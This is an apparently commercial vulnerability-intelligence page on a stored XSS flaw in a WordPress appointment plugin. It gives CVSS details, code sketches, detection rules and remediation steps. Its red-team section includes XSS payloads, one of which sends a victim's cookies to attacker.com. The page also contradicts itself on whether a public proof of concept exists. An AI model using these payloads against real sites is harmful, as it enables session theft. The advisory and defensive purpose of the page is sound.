☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Simply schedule appointments logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4288

CVE-2024-4288 Cross-Site Scripting in Simply schedule appointments
📅 PUBLISHED: 2024-05-16 11:05 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4288 is a Stored Cross-Site Scripting (XSS) vulnerability in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress. The flaw exists in versions up to and including 1.6.7.14 due to insufficient input sanitization and output escaping on the ‘link’ parameter. An authenticated attacker with contributor-level permissions or higher can inject arbitrary web scripts that execute whenever a victim user accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server software (Apache/Nginx). The CVSS score is 6.4 (Medium), and no public exploit code or proof-of-concept is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
  • User Interaction (UI): Required (R) – Victim must visit the injected page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS can lead to persistent compromise of admin sessions or data theft.

Deep Dive & Mechanics

The vulnerability resides in the link parameter of the Appointment Booking Calendar plugin. When a contributor or higher-privileged user creates or edits an appointment, the plugin fails to properly sanitize the link input before storing it in the database. Additionally, when the stored data is rendered on a page (e.g., in appointment details or calendar views), the plugin does not escape the output, allowing arbitrary HTML and JavaScript to execute in the context of the victim’s browser.

Attack Flow:

  1. An authenticated attacker with contributor-level access navigates to the appointment creation/edit page.
  2. The attacker injects a malicious payload into the link field, e.g., javascript:alert(document.cookie) or <img src=x onerror=alert(1)>.
  3. The plugin stores the unsanitized payload in the WordPress database.
  4. When an administrator or other user views the page containing the appointment (e.g., the calendar or appointment list), the payload executes.
  5. The attacker can steal cookies, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.6.7.14):

// In a function that saves appointment data
$link = $_POST['link'];
update_post_meta($post_id, 'ssa_appointment_link', $link);
// In a function that displays the appointment
echo get_post_meta($post_id, 'ssa_appointment_link', true);

Patched Code (Hypothetical):

// Sanitize input
$link = sanitize_text_field($_POST['link']);
update_post_meta($post_id, 'ssa_appointment_link', $link);
// Escape output
echo esc_url(get_post_meta($post_id, 'ssa_appointment_link', true));

The patched version uses sanitize_text_field() to strip malicious content on input and esc_url() to safely render the link on output.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Simply Schedule Appointments plugin <= 1.6.7.14.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the appointment creation page (e.g., /wp-admin/admin.php?page=ssa-appointments).
  3. In the link field, inject a payload such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload to steal cookies:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  4. Save the appointment.
  5. Wait for an administrator to view the appointment list or calendar page. The payload executes in their browser.

Note: No public exploit code is available; the above is a manual exploitation guide.

Blue Team

Detection & Prevention:

  • Monitor for unusual link parameter values in POST requests to appointment endpoints.
  • Implement Web Application Firewall (WAF) rules to block common XSS patterns.
  • Restrict contributor-level access to trusted users only.
  • Regularly update the plugin to the latest version.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wp-admin/admin-ajax.php or appointment endpoints containing suspicious link parameters (e.g., <script>, onerror, javascript:).
  • Host: Database entries in wp_postmeta where meta_key is ssa_appointment_link and meta_value contains HTML/JavaScript.
  • Logs: WordPress debug logs showing unexpected output in appointment views.

Detection Engineering

YARA Rule

rule CVE_2024_4288_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simply Schedule Appointments link field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4288"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=/i
        $payload3 = /javascript\s*:/i
        $meta_key = "ssa_appointment_link"
    condition:
        $meta_key and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-4288 Stored XSS in Simply Schedule Appointments
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via the link parameter in Simply Schedule Appointments plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: 'ssa-appointments'
        http.body|contains: 'link='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in link fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4288 Stored XSS Attempt - Simply Schedule Appointments"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"link="; http_client_body; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the plugin if not essential, or restrict contributor-level access.
  2. Short-term: Apply input sanitization (sanitize_text_field()) and output escaping (esc_url()) to the link parameter.
  3. Long-term: Update to the latest patched version once released by the vendor.
  4. Compensating Controls: Deploy a WAF with XSS rules, enforce Content Security Policy (CSP) headers, and conduct regular security audits.

Valters IT – Securing digital frontiers with precision and expertise.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"Simply Schedule Appointments"
http.html:"wp-content/plugins/simply-schedule-appointments"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4288/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.